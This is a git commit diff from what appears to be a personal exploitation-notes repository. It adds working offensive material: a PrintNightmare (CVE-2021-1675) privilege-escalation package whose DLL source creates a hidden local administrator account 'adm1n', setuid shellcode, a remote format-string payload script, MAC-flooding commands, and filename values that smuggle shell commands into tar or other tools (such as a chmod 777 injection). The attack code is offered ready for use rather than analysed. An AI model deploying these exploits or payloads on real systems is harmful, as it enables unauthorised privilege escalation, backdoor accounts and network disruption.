ettercap and binaries
This commit is contained in:
parent
e597409caf
commit
d984780d59
|
@ -0,0 +1,15 @@
|
||||||
|
# ASLR
|
||||||
|
|
||||||
|
## System Status
|
||||||
|
|
||||||
|
* `0`, No randomization
|
||||||
|
* `1`, Conservative, `*.so`, stack, `mmap`, VDSO and heap
|
||||||
|
* `2`, full randomization
|
||||||
|
|
||||||
|
## Disable
|
||||||
|
|
||||||
|
```sh
|
||||||
|
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||||
|
```
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,9 @@
|
||||||
etuid(0) + execve(/bin/sh) - just 4 fun.
|
//setuid(0) + execve(/bin/sh) - just 4 fun.
|
||||||
xi4oyu [at] 80sec.com
|
//xi4oyu [at] 80sec.com
|
||||||
|
|
||||||
|
/*
|
||||||
main(){
|
main(){
|
||||||
__asm( "xorq %rdi,%rdi\n\t"
|
__asm( "xorq %rdi,%rdi\n\t"
|
||||||
"mov $0x69,%al\n\t"
|
"mov $0x69,%al\n\t"
|
||||||
"syscall \n\t"
|
"syscall \n\t"
|
||||||
"xorq %rdx, %rdx \n\t"
|
"xorq %rdx, %rdx \n\t"
|
||||||
|
@ -21,7 +22,7 @@ __asm( "xorq %rdi,%rdi\n\t"
|
||||||
"pushq $0x3c ; \n\t"
|
"pushq $0x3c ; \n\t"
|
||||||
"pop %rax ; \n\t"
|
"pop %rax ; \n\t"
|
||||||
"syscall ; \n\t"
|
"syscall ; \n\t"
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
*/
|
*/
|
||||||
main() {
|
main() {
|
||||||
|
@ -33,5 +34,5 @@ main() {
|
||||||
(*(void (*)()) shellcode)();
|
(*(void (*)()) shellcode)();
|
||||||
}
|
}
|
||||||
|
|
||||||
2009-05-14
|
//2009-05-14
|
||||||
evil.xi4oyu
|
//evil.xi4oyu
|
||||||
|
|
|
@ -0,0 +1,29 @@
|
||||||
|
# Format String
|
||||||
|
|
||||||
|
* Read and write values from stack
|
||||||
|
|
||||||
|
## Read
|
||||||
|
|
||||||
|
* Input `%x` for every value that should be read from the stack
|
||||||
|
```sh
|
||||||
|
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
|
||||||
|
```
|
||||||
|
* Select values as string, e.g. the second value
|
||||||
|
```sh
|
||||||
|
%2$s
|
||||||
|
```
|
||||||
|
* Another way of reading is via `%p`
|
||||||
|
|
||||||
|
* [ir0stone's pwn-notes](https://github.com/ir0nstone/pwn-notes/blob/master/types/stack/format-string.md) contains some useful pwntool scripts like this one
|
||||||
|
```python
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
#p = process('./vuln')
|
||||||
|
p = remote(target_ip, 9006)
|
||||||
|
|
||||||
|
payload = b'%14$p||||'
|
||||||
|
payload += p32(0x8048000)
|
||||||
|
|
||||||
|
p.sendline(payload)
|
||||||
|
log.info(p.clean())
|
||||||
|
```
|
|
@ -0,0 +1,42 @@
|
||||||
|
# Integral Promotion
|
||||||
|
|
||||||
|
* Conditions of data types with different max and min values provoke unforseen comparisions
|
||||||
|
* Comparing `int` and `uint` with values above max leads to integral promotion
|
||||||
|
|
||||||
|
* Check data type min and max
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <limits.h>
|
||||||
|
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
|
||||||
|
printf("CHAR_MAX: %i\n", CHAR_MAX);
|
||||||
|
printf("UCHAR_MAX: %i\n", UCHAR_MAX);
|
||||||
|
|
||||||
|
printf("SHORT_MAX: %i\n", SHRT_MAX);
|
||||||
|
printf("USHORT_MAX: %i\n", USHRT_MAX);
|
||||||
|
|
||||||
|
printf("INT_MAX: %i\n", INT_MAX);
|
||||||
|
printf("UINT_MAX: %u\n", UINT_MAX);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
* Not only conditions are susceptable to integral promotions, a sum - for example - is too. Values for promotion in this example are `2147483647` and `1`. `c` is negative and leads to the shell
|
||||||
|
```c
|
||||||
|
int a,b,c;
|
||||||
|
|
||||||
|
|
||||||
|
if(a >=0 && b >=0)
|
||||||
|
if(c >= 0){
|
||||||
|
printf("\n[*] ADDING %d + %d",a,b);
|
||||||
|
printf("\n[*] RESULT: %d\n",c);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
system("/bin/sh");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf("nope");
|
||||||
|
```
|
|
@ -19,6 +19,11 @@
|
||||||
|
|
||||||
## libc -- Finding Offsets
|
## libc -- Finding Offsets
|
||||||
|
|
||||||
|
* Find libc address at runtime via gbd
|
||||||
|
```sh
|
||||||
|
info sharedlibrary
|
||||||
|
```
|
||||||
|
|
||||||
### Manually
|
### Manually
|
||||||
* On target find `sh` address inside libc
|
* On target find `sh` address inside libc
|
||||||
```sh
|
```sh
|
||||||
|
|
|
@ -0,0 +1,9 @@
|
||||||
|
# MAC Spoofing
|
||||||
|
|
||||||
|
```sh
|
||||||
|
macof -i <interface>
|
||||||
|
```
|
||||||
|
or
|
||||||
|
```sh
|
||||||
|
ettercap -T -i <interface> -P rand_flood -q -w file.pcap
|
||||||
|
```
|
|
@ -17,3 +17,10 @@ touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
|
||||||
touch "/var/www/html/--checkpoint=1"
|
touch "/var/www/html/--checkpoint=1"
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## touched Filename Options
|
||||||
|
|
||||||
|
* Give full permissions on all the files
|
||||||
|
```sh
|
||||||
|
touch './"";$(chmod 777 *)'
|
||||||
|
```
|
||||||
|
|
||||||
|
|
|
@ -1 +0,0 @@
|
||||||
Subproject commit ed724e576adb377b9c5b91f4343012108307fff9
|
|
|
@ -1 +0,0 @@
|
||||||
Subproject commit 5ca891c64d7dcd785730c8e6dec87476b786012c
|
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,40 @@
|
||||||
|
# CVE-2021-1675 - PrintNightmare LPE (PowerShell)
|
||||||
|
|
||||||
|
> Caleb Stewart | John Hammond | July 1, 2021
|
||||||
|
|
||||||
|
----------------------------------------------------------
|
||||||
|
|
||||||
|
[CVE-2021-1675](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675) is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare."
|
||||||
|
|
||||||
|
Proof-of-concept exploits have been released ([Python](https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py), [C++](https://github.com/afwu/PrintNightmare/blob/main/EXP/POC/POC.cpp)) for the remote code execution capability, and a [C# rendition](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare) for local privilege escalation. We had not seen a native implementation in pure PowerShell, and we wanted to try our hand at refining and recrafting the exploit.
|
||||||
|
|
||||||
|
This PowerShell script performs local privilege escalation (LPE) with the PrintNightmare attack technique.
|
||||||
|
|
||||||
|
![image](https://user-images.githubusercontent.com/6288722/124203761-70b36580-daab-11eb-8520-7d93743062af.png)
|
||||||
|
|
||||||
|
This has been tested on Windows Server 2016 and Windows Server 2019.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
Add a new user to the local administrators group by default:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
Import-Module .\cve-2021-1675.ps1
|
||||||
|
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
|
||||||
|
|
||||||
|
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
|
||||||
|
```
|
||||||
|
|
||||||
|
Supply a custom DLL payload, to do anything else you might like.
|
||||||
|
|
||||||
|
```shell
|
||||||
|
Import-Module .\cve-2021-1675.ps1
|
||||||
|
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Details
|
||||||
|
|
||||||
|
* The LPE technique does not need to work with remote RPC or SMB, as it is only working with the functions of Print Spooler.
|
||||||
|
* This script embeds a Base64-encoded GZIPped payload for a custom DLL, that is patched according to your arguments, to easily add a new user to the local administrators group.
|
||||||
|
* This script embeds methods from PowerSploit/[PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) to reflectively access the Win32 APIs.
|
||||||
|
* This method does not loop through all printer drivers to find the appropriate DLL path -- it simply grabs the first driver and determines the appropriate path.
|
|
@ -0,0 +1,31 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio Version 16
|
||||||
|
VisualStudioVersion = 16.0.31402.337
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "nightmare", "nightmare\nightmare.vcxproj", "{BBFBAF1D-A01E-4615-A208-786147320C20}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Debug|x86 = Debug|x86
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
Release|x86 = Release|x86
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x64.Build.0 = Release|x64
|
||||||
|
{BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x86.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {30C87B43-BD46-4499-B9D4-11823A3D67C8}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
|
@ -0,0 +1,32 @@
|
||||||
|
// dllmain.cpp : Defines the entry point for the DLL application.
|
||||||
|
#include "pch.h"
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <lm.h>
|
||||||
|
#include <iostream>
|
||||||
|
#include <fstream>
|
||||||
|
|
||||||
|
#pragma comment(lib, "netapi32.lib")
|
||||||
|
|
||||||
|
wchar_t username[256] = L"adm1n";
|
||||||
|
wchar_t password[256] = L"P@ssw0rd";
|
||||||
|
|
||||||
|
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||||
|
DWORD ul_reason_for_call,
|
||||||
|
LPVOID lpReserved
|
||||||
|
)
|
||||||
|
{
|
||||||
|
// Create the user
|
||||||
|
USER_INFO_1 user;
|
||||||
|
memset(&user, 0, sizeof(USER_INFO_1));
|
||||||
|
user.usri1_name = username;
|
||||||
|
user.usri1_password = password;
|
||||||
|
user.usri1_priv = USER_PRIV_USER;
|
||||||
|
user.usri1_flags = UF_DONT_EXPIRE_PASSWD;
|
||||||
|
NetUserAdd(NULL, 1, (LPBYTE)&user, NULL);
|
||||||
|
|
||||||
|
// Add the user to the administrators group
|
||||||
|
LOCALGROUP_MEMBERS_INFO_3 members;
|
||||||
|
members.lgrmi3_domainandname = username;
|
||||||
|
NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&members, 1);
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,5 @@
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||||
|
// Windows Header Files
|
||||||
|
#include <windows.h>
|
|
@ -0,0 +1,170 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>16.0</VCProjectVersion>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<ProjectGuid>{bbfbaf1d-a01e-4615-a208-786147320c20}</ProjectGuid>
|
||||||
|
<RootNamespace>nightmare</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableUAC>false</EnableUAC>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableUAC>false</EnableUAC>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableUAC>false</EnableUAC>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableUAC>false</EnableUAC>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="framework.h" />
|
||||||
|
<ClInclude Include="pch.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="dllmain.cpp" />
|
||||||
|
<ClCompile Include="pch.cpp">
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,33 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Resource Files">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="framework.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="pch.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="dllmain.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="pch.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,4 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup />
|
||||||
|
</Project>
|
|
@ -0,0 +1,5 @@
|
||||||
|
// pch.cpp: source file corresponding to the pre-compiled header
|
||||||
|
|
||||||
|
#include "pch.h"
|
||||||
|
|
||||||
|
// When you are using pre-compiled headers, this source file is necessary for compilation to succeed.
|
|
@ -0,0 +1,13 @@
|
||||||
|
// pch.h: This is a precompiled header file.
|
||||||
|
// Files listed below are compiled only once, improving build performance for future builds.
|
||||||
|
// This also affects IntelliSense performance, including code completion and many code browsing features.
|
||||||
|
// However, files listed here are ALL re-compiled if any one of them is updated between builds.
|
||||||
|
// Do not add files here that you will be updating frequently as this negates the performance advantage.
|
||||||
|
|
||||||
|
#ifndef PCH_H
|
||||||
|
#define PCH_H
|
||||||
|
|
||||||
|
// add headers that you want to pre-compile here
|
||||||
|
#include "framework.h"
|
||||||
|
|
||||||
|
#endif //PCH_H
|
|
@ -0,0 +1,21 @@
|
||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2021 ly4k
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
|
@ -0,0 +1,260 @@
|
||||||
|
# PrintNightmare
|
||||||
|
|
||||||
|
Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket.
|
||||||
|
|
||||||
|
## Installtion
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ pip3 install impacket
|
||||||
|
```
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```
|
||||||
|
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
|
||||||
|
|
||||||
|
usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
|
||||||
|
[-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
|
||||||
|
target
|
||||||
|
|
||||||
|
PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
|
||||||
|
|
||||||
|
positional arguments:
|
||||||
|
target [[domain/]username[:password]@]<targetName or address>
|
||||||
|
|
||||||
|
optional arguments:
|
||||||
|
-h, --help show this help message and exit
|
||||||
|
-debug Turn DEBUG output ON
|
||||||
|
-no-pass don't ask for password (useful for -k)
|
||||||
|
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
|
||||||
|
cannot be found, it will use the ones specified in the command line
|
||||||
|
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
|
||||||
|
|
||||||
|
connection:
|
||||||
|
-port [destination port]
|
||||||
|
Destination port to connect to MS-RPRN named pipe
|
||||||
|
-target-ip ip address
|
||||||
|
IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
|
||||||
|
NetBIOS name and you cannot resolve it
|
||||||
|
|
||||||
|
authentication:
|
||||||
|
-hashes LMHASH:NTHASH
|
||||||
|
NTLM hashes, format is LMHASH:NTHASH
|
||||||
|
|
||||||
|
driver:
|
||||||
|
-name driver name Name for driver
|
||||||
|
-env driver name Environment for driver
|
||||||
|
-path driver path Driver path for driver
|
||||||
|
-dll driver dll Path to DLL
|
